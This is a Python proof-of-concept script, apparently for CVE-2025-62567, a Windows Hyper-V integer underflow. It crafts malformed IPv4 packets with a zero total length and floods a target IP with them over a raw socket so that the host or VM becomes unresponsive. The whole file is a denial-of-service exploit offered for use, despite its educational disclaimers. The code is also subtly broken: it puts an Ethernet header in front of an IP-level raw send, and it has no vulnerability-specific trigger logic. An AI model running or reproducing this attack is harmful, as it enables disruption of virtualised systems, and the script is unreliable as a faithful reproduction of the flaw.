# CVE-2025-62567 Windows Hyper-V Integer Underflow PoC (Conceptual)
# This is a conceptual proof-of-concept for educational purposes only
import struct
import socket
import time
def create_malicious_packet():
"""
Create a malicious packet designed to trigger integer underflow
in Windows Hyper-V virtual network adapter processing
"""
# Ethernet header
eth_header = b'\x00\x15\x5d\x00\x00\x01' # Fake MAC
eth_header += b'\x00\x15\x5d\x00\x00\x02'
eth_header += b'\x08\x00' # IPv4
# IPv4 header - crafted to trigger underflow in length calculations
ip_header = bytes([0x45, 0x00, 0x00, 0x00]) # Total length = 0 (triggers underflow)
ip_header += bytes([0x00, 0x00, 0x40, 0x00]) # ID, Flags, Fragment
ip_header += bytes([0x40, 0x06, 0x00, 0x00]) # TTL, Protocol, Checksum
ip_header += socket.inet_aton('192.168.1.100') # Source IP
ip_header += socket.inet_aton('192.168.1.1') # Dest IP
# TCP header
tcp_header = struct.pack('!HHIIBBHHH',
12345, # Source port
80, # Dest port
0, # Seq
0, # Ack
0x50, # Data offset
0x02, # Flags (SYN)
8192, # Window
0, # Checksum
0 # Urgent pointer
)
# Payload designed to trigger the underflow condition
payload = b'\x00' * 64 # Minimal payload
return eth_header + ip_header + tcp_header + payload
def exploit_hyperv(target_ip, interface='eth0'):
"""
Send malicious packets to Hyper-V virtual machine
Requires low-privilege access to the VM
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
print(f"[*] Sending malicious packets to {target_ip}")
print(f"[*] Targeting Hyper-V virtual network adapter...")
packet_count = 0
for i in range(100):
try:
packet = create_malicious_packet()
sock.sendto(packet, (target_ip, 0))
packet_count += 1
time.sleep(0.1)
except Exception as e:
print(f"[-] Error: {e}")
break
print(f"[+] Sent {packet_count} malicious packets")
print(f"[*] Check if Hyper-V host/VM has become unresponsive")
if __name__ == '__main__':
print("CVE-2025-62567 Windows Hyper-V Integer Underflow PoC")
print("This PoC requires authorization and is for research only")
# Usage: exploit_hyperv('192.168.1.100')